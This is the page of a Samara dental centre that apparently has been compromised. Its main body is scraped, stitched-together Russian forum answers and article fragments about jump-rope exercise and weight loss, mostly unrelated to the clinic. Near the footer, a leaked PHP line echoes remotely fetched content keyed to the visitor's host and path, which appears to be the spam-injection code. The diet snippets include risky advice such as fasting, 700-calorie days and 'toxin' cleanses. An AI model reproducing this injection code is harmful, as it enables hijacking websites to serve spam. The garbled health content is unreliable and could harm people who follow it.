Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Скажите кто знает, на какие мышцы укрепляются, когда скакаешь на скакалке?Заранее спасибо.

Икры, а вот какие еще не знаю

Эффективное похудение. Что означает скиппинг и для чего нужны прыжки через скакалку?Отзывы людей, использующих скиппинг для похудения, говорят о том, что регулярность...

Ягодицы и икры ног.

Кто-нибудь знает, скипинг - хорошее средство для похудания?

Хорошее средство это кушать часто мелкими порциями.

В этом случае процесс похудения будет проходить правильно, так как основная нагрузка будет распределяться как раз по проблемным зонам.Скипинг также способствует быстрому выведению шлаков из организма...

Люди подскажите какой спорт более эффективен,чтобы похудеть? (бассейн,бег или спорт-зал)?при росте 168,вешу 65кг.

Большой теннис. Но не пойму зачем худеть?

Спаржа для очистки и похудения 2 королевских рецепта. Скиппинг отличный способ похудеть. Как показывает статистика, изменить собственное тело хотят все просто кто-то хочет...

А зачем худеть то и так всё нормально

Саммый дешевый вид спорта СКИПИНГ - прыжки на скакалке, при рациональном питании (исключить жирное, жареное, мучное) 15 минут в день на скакалкке избавят от лишнего веса, целлюлита и укрепят сердечно-сосудистую систему!! ! ээфект будет заметен уже через 3 недели регулярного "прыганья",

У вас вес меньше роста, (68-65) это нормально. а вообще бег, только в меру. просто в процессе бега кровь плохо поступает в ноги.

Из перечисленного плаванье)

Всего понемногу...

Скакалка для похудения или отличный результат за маленькие деньги. Перепробовали все диеты для похудения? Ничего не помогает?

Да, только серьезно всем этим занимайся

Самый аффективный способ похудеть?

Скипинг - ,бег

Так что впер д со скипингом - к похудению, красоте и совершенству!Скипинг укрепляет мышцы ног, положительно сказывается на дыхательной и...

Не жрать сверх меры и заниматься спортом

Правильное питание, бег, специальные упражнения, больше двигаться

Вместо сахара и хлеба есть овощи

Диета плюс плавание

Тяжёлая болезнь, концлагерь-здоровый организм не худеет без стресса и не здоровый пока причина не устранена, причина болезни или генетическая.

Скипинг для похудения рекомендуется смотреть во время выполнения упражнений и сразу же отрабатывать при мы на практике.

Не кушать

Больше думать, ходить и сладкое не есть, особенно шоколады

Есть такая диета -доктора Дюкана, Моя подруга похудела на ней за 2мес. на 6кг. Почитайте про нее в интернете, но очень внимательно)

Прежде чем писать научись русскому языку - между аффективный и эффективный большая разница

Послушайте опытного эндокринолога по поводу похудения и все узнаете Как похудеть правильно и быстро
Вот еще один ролик интересный про похудение
Супербыстрое похудение

Скипинг. О том, что прыгать на скакалке полезно, известно каждому. И тем не менее, в основном мало кто реальноТаким образом, в деле похудения скакалка невероятно эффективна.

Люди, когда прыгаешь на скакалке какие качаются мышцы?? (Не считая ног) и вес сильно сбрасываешь?

Хм.. . ну рук.. . ты же руками скакалку держишь)

Помните, что скипинг направлен на тренировку не силы, а именно выносливости, поэтому, чемПопулярное Зеленый кофе с имбирем для похудения 62 . Soda super slim как похудеть с...

Это скипинг - довольно-таки эффективное спортивное занятие.
Во-первых, прыжки на скакалке развивают гибкость, осанку, чувство равновесия и координацию движений;
Во-вторых, упражнения со скакалкой позволяют эффективно прорабатывать икры, плечи, мышцы рук и брюшного пресса, что, естественно, улучшает фигуру;
В-третьих, развивают выносливость, укрепляют сердечно-сосудистую и дыхательную системы;
А в-четвертых, это отличный способ похудеть, ведь прыгая, можно сжигать до 1000 ккал в час. Вообще, что касается сжигания калорий, занятия со скакалкой превосходят велосипед, теннис и плавание, а по степени эффективности в целях похудания сравнимы только с бегом.

Да ниче не качается

Руки, ноги, запястья, внимание (хотя это не мышца...).... попа.... а вес хорошо сбрасывать, если до 7 пота заниматься...

Я занимаюсь силовыми видами спорта и на скакалке прыгаю лишь в качестве разминки.

Однозначно сильнее всего качаются икры... еще предплечья (это между кистью руки и локтем) , дельтовидные (то, что в народе плечями называют) , широчайшие мышцы спины (это с боков спины такие длинные мышцы от лопаток до попы почти).. .
сбросить вес. . ну я бы так не сказал. . скорее, сбросить жир, т. к. увеличивается метаболизм и плюс выходит вода с потом. . а за счет набора мышц масса тела может не измениться. . но мне когда-то скакалка очень помогла подсушиться.. .
я занимался так: начал примерно с 500 раз и в течении нескольких дней увеличивал колличество повторений на 100...потом небольшой отдых в пару дней и увеличил колличество повторений вдвое.. . и потом на 500 каждый день, пока не уставал так, что не чувствовал ног.. . в конце лучшеускориться как только можно и последнюю минуту выжать из себя что можешь :)

Скиппинг - скакалка для похудения. Как правильно прыгать на скакалке, чтобы похудеть - советует тренер.Скиппинг или худеем с помощью скакалки.

Срочно нужно похудеть на 3 кг за неделю!помогите

Выезжаем!

Скакалка для похудения выбор, базовые упражнения видео. Прыжки на скакалке Эх, как же мы часто о ней забываем.

Меньше жрать надо

Диета медиков, а если ещё и упражнения, кг 5 скинете

Жрать перестань!

Вас что в армию берут

Бегай километра по 3 раз в два дня и после пробежки со скакалкой 100 раз попрыгая, я за 2 недели 8 кило скинул, правда если у тебя рост и вест не имеют большой разбег...

Скиппинг или роуп-скиппинг - это упражнение, которое выполняется при помощи прыжков через скакалку.Программа похудения с помощью скиппинга - минус 4 кг за ... неделю!

Боннский суп. 8 кг за неделю. 3 кг за 3 дня легко сбросишь.

Все диеты есть на Мама и дети на форуме смотрите в разделе скачать там же и калькулятор калорий

На обед, завтрак и ужин 100 грам сухово белого вина и 100/150гр кусочек либо сыра (твердый сорт) , либо курица отварная. и так в течение недели. если не нарушать режима худеют от 3 до 7 кг в зависимости от организма.

Есть очистительная програма на натуральней основе, которая заключается в 14 днях.... если интересует пишите в лс....

Самая хорошая диета-рот зашить. А если серьезно... Без физической нагрузки все усилия тщетны. Нужно и бегать, и прыгать со скакалкой, и отжиматься. И конечно ограничить себя в еде. Удачи!

Эффективные упражнения для похудения. Худеем со скиппингом! Скиппинг с каждым годом становится вс популярнее, потому что помогает избавиться от лишних килограммов.

Первый день - вообще не ешьте (когда вы не едите совсем, у вас уменьшается желудок в размерах и поэтому идет процесс похудания. 1-2 дня - это максимум. Нельзя изнурять желудок голодовками. Это стресс для него. Я не шучу. )
Второй день - 2,5-3л воды, кефир (этим вы очищаете желудок и кишечник от всяких шлаков, остатков пищи и т. д.) .
Третий день - 1,5% кефир, вода, яблоки (1,5-2кг) , упражнения (жирность кефира обязательна! Процент жирности как раз таки и придает чувство сытности) .
Четвертый день-яблоки, кефир, вода, упражнения, салаты легкие.
Пятый день - также.
Шестой день - также.
Седьмой день - также.
Восьмой день - идите, куда хотели в новой форме.
Девятый день - ешьте, че хотите. Но вы заметите, что уже кушаете мало. Потому что желудок в размерах меньше.
Но распределите всю еду по полочкам. Желательно до 6-и вечера. А после 6-и кефир и упражнения. Упражнения Нужно делать после ужина за два часа до сна. Да вообще, упражняйтесь весь день, когда будет время.
И еще после такой голодовки следите за питанием. Правильное рациональное питание и постоянные тренировки - залог красивой фигуры!

Разгрузочные дни и физ. нагрузки, лучше всего бассейн... .
дни такие (яблочные, клубничные, молочные и т. д. ) в интернете написана дозировка... .
надеюсь все у вас получится!!!))))))))))))))))

Заниматься бегом, скипингом, после 5-ти не есть

Считать калории. Их должно быть не более 700 в день. Физические упражнения-бег, пресс и т. д. Не есть после 6. Не есть сладкое, жирное, мучное, жареное.

Как похудеть к лету?

Бодифлекс)

Скиппинг или роуп-скиппинг - это упражнение, которое выполняется при помощи прыжков через скакалку.Программа похудения с помощью скиппинга - минус 4 кг за ... неделю!

Бег лучше всего с этим справится.. И приятно и полезно и эффект хороший...

Любые нагрузки, только разнообразные. Плюс не больше 1500 калорий в день. Гарантирован результат.

Бег и лук от всех недуг

Вам поможет скакалка.
или еще этот вид занятия называют скиппингом. от английского скип, то есть прыгать.
за 30 минут прыганься теряется около 300-400 калорий.
с учетом того что можно прыгать всего по 100 прыжков в минуту.
скакалка лучше чем бег, так как на ней можно прыгать дома и искать ближайший стадион для того чтобы пробежаться вам не придется.
по началу не ставьте себе больших целей, и начинайте всего с минуты, потом увеличивайте.

Прежде чем думать о том, как похудеть, Вам необходимо почистить организм от токсинов и шлаков с помощью сорбента (поробуйте Полисорб) . А уж потом индивидуально подобрать комплекс из диеты и физических упражнений.

Прыжки со скакалкой иногда называют скипинг, так что, встретив это слово в модном глянцевом журнале, вы будете знать его значение. Главный смысл прыжков со скакалкой для похудения в...

Я вам уже отвечал. А вам все бестолку...

Привет всем.Люди как уменьшить живот.

Кушать меньше и качать пресс

Содержание статьи Что такое скипинг и в чем его польза? Как скакалка помогает похудеть? Упражнения для похудения Как правильно выбрать Есть ли противопоказания?

Бегай
плавай
играй в футбол
и отжимайся

Самое лучшее средство сбросить лишний вес.. это бег.. . быстрее всего сжигаются калории

Пресс не поможет. Он не избавляет от жира. Нужно купить бандажный пояс и почаще в нем работать чтоб там про потело все. Но, с первого раза не поможет, нужно время!! ! )))

У родителей такой же был, так что или всю жизнь качай пресс и соблюдай диету, либо смирись.

Уменьши потребления жирной пищи, ешь больше овощей, фруктов, варёной еды и занимайся каким нибуть спортом бег, качалка и тд

Скакалка для похудения и поддержания хорошей формы! Упражнения на скакалке, разные виды прыжков.Тайну раскрыла люстра..или скипинг по Русски .

Уменьшить порции и калорийность продуктов, не есть после 6 вечера, отказаться от сладкого в первую очередь, исключить сладкие и вообще газированные напитки. Зеленый чай с молоком прекрасно утоляет голод! Фитомуцил классная штука практически полноценно можно заменить 1-2 приема пищи. испытано на себе! результат с 70 до 54 кг.

Запишись в какую нибудь спортивную секцию. будет куда девать лишние калории. да и вообще нагружай свое тело по полной программе.

Поставить локти вместе на полу и так стоять (как на отжимании, но не отжимаешься, живот напрягается и уходить внутрь)

Жрать меньше надо и тринироватся по чаще

Что дают прыжки со скакалкой!Какую группу мышц развивает такое упражнение

Икры ног, легкие

Лишние килограммы уходят настолько быстро, что вы заметите это визуально, без взвешиваний. А все потому, что скиппинг сочетает несколько аспектов тренировки

Ноги и плечи, а также часть мышц рук.

Ноги -дают красивые, прес качают.

Икроножные мышцы и улучшает координацию. А ещё стимулирует рост.

- улучшают координацию в основном

Икроножные мышцы, сгибатели стопы, камбаловидные мышцы (если прыгаешь на прямых ногах) , если на согнутых - дополнительно задняя поверхность бедра, передняя поверхность бедра. Самое главное - скакалка не нагружает суставы (коленный, голенностопный) , нагружает только мышцы. Поэтому это упражнение нужно делать в первую очередь юным спосртсменам.

Макияж. Похудение. Диеты и советы. Худеют знаменитости.Скиппинг похудение с помощью скакалки. Опубликовано 28.02.2009 10 55 Просмотров 11652.

Http://www.nebolei.ru/s.php/2239.htm

Это отличный массаж для внутренних органов! А так же кардионагрузка-супер!

Какие группы мышц задействованы при прыжках?

Скиппинг (от английского слова "skipping" - "многократные перескакивания") - это популярнейший на сегодняшний день вид фитнеса и увлекательный вид спорта.
Как вид спорта скиппинг определился в России в начале 1990-х годов, за границей - чуть раньше - около 30-ти лет назад.
Целью соревнующихся является выполнение большего, по сравнению с результатом противника, числа прыжков через скакалку за определенный промежуток времени: двадцать, тридцать или шестьдесят секунд, либо по другим оговоренным в соревнованиях критериям.
Виды спикинга
Скиппинг подразделяется на несколько видов: это классические прыжки, прыжки на одной ноге, прыжки со сменой ног и прыжки "ноги скрестно", прыжки боком, в приседе, прыжки "руки скрестно", прыжки с продвижением. Также существуют и состоящие из нескольких видов смешанные прыжки, сложные прыжки и многоборье. Но через скакалку можно прыгать не только в одиночку, есть групповые и парные прыжки.
Каждый вид включает в себя различные по типологии прыжки: классические - вперед и назад, на одной ноге - вперед и назад, боком - вперед и назад, в приседе - вперед и назад, руки скрестно - вперед "восьмерка", вперед классический, назад классический, на одной ноге вперед, на одной ноге назад; с продвижением - вперед на двух ногах, назад на двух ногах, вперед на одной ноге, вперед со сменой ног, назад со сменой ног и многие другие, список довольно обширен.
Думаете, что запомнить все комбинации прыжков под силу лишь спортсменам, и уже начинаете терять интерес к скиппингу? Не торопитесь, на деле всё проще, чем кажется. Во-первых, как только вы втянитесь в занятия этим видом спорта, нужные термины вы запомните за пару дней. А, во-вторых, для того, чтобы заниматься прыжками через скакалку самостоятельно совсем не обязательно знать все типы прыжков, достаточно помнить, что сами прыжки через скакалку очень полезны для поддержания огранизма в тонусе.
Преимущества скиппинга
Казалось бы, в современном фитнесе существуют гораздо более действенные упражнения, чем прыжки через скакалку. Однако не стоит умалять их преимуществ. Скиппинг позволяет увеличить гибкость тела, выровнять осанку, развить чувство равновесия и улучшить координацию движений.
Какие же группы мышц задействуются при таких упражнениях? При занятиях скиппингом работают икры, плечи, мышцы рук, мышцы брюшного пресса. Кроме того, тренировки со скакалкой хорошо сжигают калории - до 1000 ккал за один час. По мнению специалистов, сжигание калорий при помощи скиппинга более эффективно по сравнению с занятиями плаванием, теннисом и ездой на велосипеде. Как со средством похудения со скиппингом может сравниться только бег.
Примечательно, что для занятий скиппингом не нужна особая физическая подготовка и специфические навыки. К тому же, скакалка весьма бюджетный тренажер и доступна всем.
Преимущества занятий со скакалкой очевидны. Во-первых, она весьма компактна, занимает очень мало места, следовательно Вы всегда можете возить свой "тренажер" с собой, если не хотите прерывать тренировок. Во-вторых, даже 10-минутные ежедневные тренировки дают положительный эффект.

Прыжки через веревочку это очень просто, а если еще и учесть, что скакалка для похудения очень полезна, то становится веселее вдвойне.

Как убрать лишние сантиметры на животе?

Бегайте. все спадет

Мода на скипинг, или здравствуй, скакалка! О чем это. Понятие скипинг появилось отВо-первых, занятия со скакалкой способствуют похудению и поддержанию мышц в тонусе.

Лучший способ похудеть это скипинг! Так же диета но не уморительная, пишите мне в личку расскажу всё подробней

Померяй дюймовкой и удивися

На мой взгляд лучше всего помогает прес. Для начала с нуля ПН-СР-ПТ 5-10раз, каждых 2 недели наращиваете количество на 5. При всем правильном результат будет.

Подскажите пожалуйста!

Прыжки правильно нужно делать - опускаться на всю стопу, а не на носочки. Почитайте про скиппинг подробнее, чтобы похудеть, а не накачать мышцы еще больше.

В заключении статьи, единственное, на что прошу обратить особое внимание при значительном лишнем веса использовать скиппинг для похудения нужно чрезвычайно осторожно...

Укрепление не означает похудение

Какие мышцы тренируются с помощью прыгалок.

Прыгальные

Такая простейшая вещь, как скакалка, поможет вам решить эту проблему и худеть более качественно и быстро.Так что впер д со скипингом к похудению, красоте и совершенству!

Да чё там у вас?? ? то одна спросила что вырабатывается с помощью пригалок.. теперь ты! ! икры!!

Прыжки со скакалкой называют английским словом скипинг. Если скакалка в детстве просто доставляла удовольствие, то сейчас мы реально понимаем, какую пользу она несёт. Чем больше прыжков на скакалке в минуту мы совершаем, тем больше затрачиваем сил и худеем, худеем, худеем. А ещё упражнения со скакалкой укрепляют мышцы и дыхательный аппарат. Одно важное условие: прыжки со скакалкой должны выполняться каждый день, хотя бы по 5 минут. И тогда скакалка, или как ласково в детстве мы ее называли “прыгалки”, подарит вам стройность и грациозность движений, уверенность в себе и, конечно, сброс ненавистных лишних килограммов.
Как выбрать скакалку? Важно правильно подобрать её длину. Обычно это делается так: берём скакалку, складываем её вдвое, вытягиваем руки, держа ручки вместе. Скакалка должна касаться пола, но не лежать не нём. Поздравляем, вы достигли оптимального соотношения «рост-длина скакалки» .
Как прыгать на скакалке? Вращая кисти рук, прижав локти к корпусу тела. Спина должна быть прямой, а ноги пружинить при приземлении и отрыве. Нагрузка может быть большой, ведь не случайно в тренировки боксёров, борцов и космонавтов обязательно входят упражнения со скакалкой. Прыжки на скакалке могут быть простыми, двойными, со скрученной скакалкой, на одной ноге, вперёд и назад.
Хотите похудеть? Одними диетами не обойтись. Только физические упражнения помогут вам закрепить достигнутый результат. Не нужно идти в тренажёрный зал или в фитнес-центр, обычная скакалка поможет сжечь лишние калории за 15 минут быстро и качественно. Кто бы мог подумать, что этот нехитрый тренажёр, знакомый с детства, помогает худеть лучше плавания, велосипеда или тенниса.
Стало модным называть прыжки со скакалкой английским словом скипинг. Если скакалка в детстве просто доставляла удовольствие, то сейчас мы реально понимаем, какую пользу она несёт. Чем больше прыжков на скакалке в минуту мы совершаем, тем больше затрачиваем сил и худеем, худеем, худеем. А ещё упражнения со скакалкой укрепляют мышцы и дыхательный аппарат. Одно важное условие: прыжки со скакалкой должны выполняться каждый день, хотя бы по 5 минут. И тогда скакалка, или как ласково в детстве мы ее называли “прыгалки”, подарит вам стройность и грациозность движений, уверенность в себе и, конечно, сброс ненавистных лишних килограммов.
Как выбрать скакалку? Важно правильно подобрать её длину. Обычно это делается так: берём скакалку, складываем её вдвое, вытягиваем руки, держа ручки вместе. Скакалка должна касаться пола, но не лежать не нём. Поздравляем, вы достигли оптимального соотношения «рост-длина скакалки» .
Как прыгать на скакалке? Вращая кисти рук, прижав локти к корпусу тела. Спина должна быть прямой, а ноги пружинить при приземлении и отрыве. Нагрузка может быть большой, ведь не случайно в тренировки боксёров, борцов и космонавтов обязательно входят упражнения со скакалкой. Прыжки на скакалке могут быть простыми, двойными, со скрученной скакалкой, на одной ноге, вперёд и назад.

Икроножные в большей степени.

Икроножные. Но если прыжки на носочках то прорабатываются и бедренные и ягодичные.

Скакалка!!! кто похудел с ее помощью? и вообще какое впечатление???

Похудение со скакалкой!
Похудение со скакалкой - проще не бывает!
Сегодня получила новое расписание занятий в фитнес-клубе и наткнулась на слово "skipping”.
Тому, кто хотя бы чуть-чуть знает английский, не трудно догадаться, что это за занятие такое.
То skip - (в переводе с англ. ) - прыгать, скакать.
Скакалка - удобный и портативный тренажор. Занятия со скакалкой по сжиганию жира превосходят даже велосипед и плавание! Человек весом около 70 кг за час упражнений со скакалкой расходует до 720 калорий (при 120-140 прыжках в минуту) .
Ни одна тренировка боксера или баскетболиста не обходится без прыжков со скакалкой.
Это нехитрое упражнение развивает выносливость, укрепляет сердечно-сосудистую и дыхательную системы, развивает прыгучесть, помогает избавиться от жировых запасов, укрепляет мышцы ног, делает фигуру стройной и привлекательной.
Как подобрать себе скакалку?
При выборе скакалки измерьте ее длину: возьмите обе ручки в руку и вытяните на уровне груди.
Нижний конец скакалки должен касаться пола. В этом случае ее длина будет оптимальной для вашего роста, что является непременным условием качественных, эффективных тренировок.
С чего начать тренировку?
Прыгать можно по-разному.
Начните с обычных прыжков - двумя ногами, затем приземляйтесь поочередно то на одну, то на другую ногу.
После этого выполните 5-10 прыжков на левой ноге, затем столько же - на правой. Повторите 2-3 раза. После минутного перерыва сделайте тот же комплекс прыжков, крутя скакалку не вперед, а назад.
Время тренировки.
Постарайтесь уделить скакалке хотя бы 10 минут.
Вернувшись в детство всего на 10 минут, вы получите заряд бодрости на целый день, а лишние килограммы будут таять на глазах.
Где лучше прыгать? Эта простейшая тренировка, доступная каждому в любом месте и в любое время: в спортзале, на свежем воздухе (на пляже или у своего подъезда, вовремя прогулки с детьми) и на худой конец можно поскакать и дома.
Я думаю, вы соседям не помешаете. А если это и случиться, то они уж точно вам не скажут ничего плохого, увидев, как вы пропорхнете мимо них с наступлением лета!
Они застынут в изумлении от вашей стройности!! !

Кроме того, что скакалка используется для похудения, прыжки на этом снаряде, называемые в английском варианте модным словом скипинг ...

3 недели прыгала соседи в шоке были икры страшно первые дни болели похудела на 5 кг, и чувство легкости просто супер!

Да, скакалка -это вещь!!!! Если регулярно, то и похудеешь и мышцы будут в тонусе!!!!

Что эффективней для похудения:вечерняя пробежка,15 минут или езда на велосипеде,минут 40?ЗАРАНИЕ СПАСИБО!

Секс с любимым минут 60-90))

Скипинг худеем со скакалкой. Наверное, что такое скакалка объяснять никому не нужноНемаловажный плюс занятий со скакалкой еще и в том, что похудение с помощью подручных...

Все вместе эффективней. а лучше йогой занимайся каждый день. и о питании подумай

Жиры начинают сжигаться через 25- 30 минут. проверено.

15 минут бега и 40 минут на велосипеде - это мало! бег - хотя бы 1 час, ну а на велосипеде - 2-3 часа

Можно просто интенсивные пешие прогулки - час. Гораздо полезнее бега. И скакалка, как раз минут 15. Почитайте в интернете про скиппинг (так правильно называются упражнения со скакалкой) - он сжигает не меньше калорий, чем бег.

Можно ли похудеть с помощью диска. и как убрать бока?

Нет нужна диета плюс гели для коррекции плюс и комплекс для кор бёдер удачи

UpDiet.info gt Упражнения для похудения gt Скипинг худем со скакалкой!Для того чтобы добиться наилучшего эффекта для похудения, мало сидеть на разнообразных диетах, тут еще...

Только при помощи диска не похудеешь. Необходима общая физическая нагрузка - бег, скиппинг (скакалка) , велосипед или велотренажер. Или просто энергичные пешие прогулки.

Обруч крути и все путем будет

Скакалки

Больше двигаться надо а не только прыгать

Скипинг является прекрасным средством в борьбе с ненавистными лишними килограммами, ведь похудение со скакалкой по своей эффективности обгоняет даже езду на велосипеде и...

Да, но еще и халахуп, качание пресса, бег, сауна, гантельки, танцы и т. д.)))

Если прыгать на скакалке то за месяц ноги похудеют?

48? а не слишком ли мало?

Ведь скипинг это не что иное, как упражнения со скакалкой для похудения .Жиросжигающая сила упражнений со скакалкой для похудения основывается на трех явлениях

Чтобы похудеть, нужно правильно прыгать, а то чревато тем, что накачаете мышцы. Почитате про скиппинг сперва.

При кардинальной диете не происходит синтез подкожной клетчатки можно быть бесплодной

Если хочешь похудеть в бедрах, то в ютубе есть видео 20 мин. на внутреннюю поверхность бедра фитнес дома)

Скипинг - есть ли результаты?

Скипинг неплох, как дополительное упражнение. Для сброса веса необходимы аэробные упражнения (ходьба, бег, велотренажёр) - 45 минут, а после этого скакалка, пресс и приседания. Вот тогда похудеешь.
Конечно же питание должно быть правильным. Без сладко-мучного, жирного и жаренного. Побольше мяса и белков, но отдельно от углеводов.

Похудение со скалкой это так называемый скипинг. Скакалка является довольно полезным спортивным инвентарем...

Подскажите физкультурные упражнения с прыгалками ?

Прыжки на скакалке))

О пользе скакалки для похудения и здоровья в целом можно говорить много. В этой статье мы остановимся только на преимуществах скипинга для худеющих.

Зачем прыгалки, если смещение, то надо спокойные упражнения на укрепление мышц спины и живота

Купи лучше гантели не тяжелые )эффективнее будет

Рыбак и рыбка: игроки встают кругом, а ты в середину него и крутишь эти прыгалки по полу, а ребята должны перепрыгивать через них, кому по ногам прыгалки попали- рыбка попалась, проиграл значит.
часы: двое крутят скакалку и говорят "часы пробили ровно час, раз! " прокручивают скакалку один раз, а игрок перепрыгивает, затем ведущие опять говорят "часы пробили ровно два, раз два", крутя скакалку два раза, и так до двенадцати, если кто то запутался- выбывает из игры
ну или самая знаменитая игра: два держат веревку, а остальные проходят через неё, нагибаясь на сколько могут, на ноги опускаться нельзя, на коленях проползать тоже.
ещё игры со скакалкой: На игровой площадке ставят два стула спинкой друг к другу, на расстоянии 2—3 м, под которыми протянута веревка. Ее концы равномерно (на 10—15 см) выступают из-под стульев с обеих сторон. Играющие дети разбиваются на пары. Играющая пара садится на стулья. По сигналу или команде учителя оба играющих должны вскочить, сделать три крута вокруг стульев (каждый бежит вправо) , сесть на свой стул, на­гнуться и дернуть за шнур. Побеждает игрок, первый вытянувший шнур из-под стула противника. Игра повторяется 3 раза с каждой па­рой для выявления победителя, сумевшего выиграть 2— 3 раза. Правила игры: во время бега нельзя дотрагиваться до стульев или сбивать их. Игрок, задевший стул, счита­ется проигравшим. Нельзя хватать конец шнура, пока не сядешь на стул.

Внимание!вопрос насчет физического упражнения!

С врачом нужно посоветоваться, чтобы не допрыгаться

Польза скакалки для похудения. Чтобы ты знала, прыжки на скакалке по-модному называются скипинг , что в переводе с английского как раз и означает прыгать .

Ты станешь шварценегером

Прыгалки конечно хорошо, но посоветую лучше армейски прием, проверено, за 4 месяца 25 кг сбросил.
Пробежки по 1 км минимум 3 раза в день. И все.

Ульяна думаю скакалка это тяжко и отнимает много времени. Я люблю это упражнение. Я даже веду кружки по трюкам. Ну а если хочешь похудеть то лучше сесть на короткие но эффективные диеты. И начинай качать пресс. Это очень привлекает мальчиков.

Какая польза от скакалки для веса?Можно благодаря ей как то похудеть?Какие мышцы будут задействованы?

Бицепсы на. Ногах можно накачать.

Скипинг прыжки со скакалкой позволяет сжигать до 1000 ккал в час.Похудение со скакалкой. Скакалка и прыжки на ней укрепляют мышцы даже изнутри и укрепляют фигуру в целом, а не просто выгоняют из тела целлюлит.

Скакалка это ваще весчь) ) не даром боксеры скачут на скакалках)

Похудеть за счет скакалки-легко. В принципе, уходит жир отовсюду после нее, проверенно на себе.)

Скипинг похудение
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта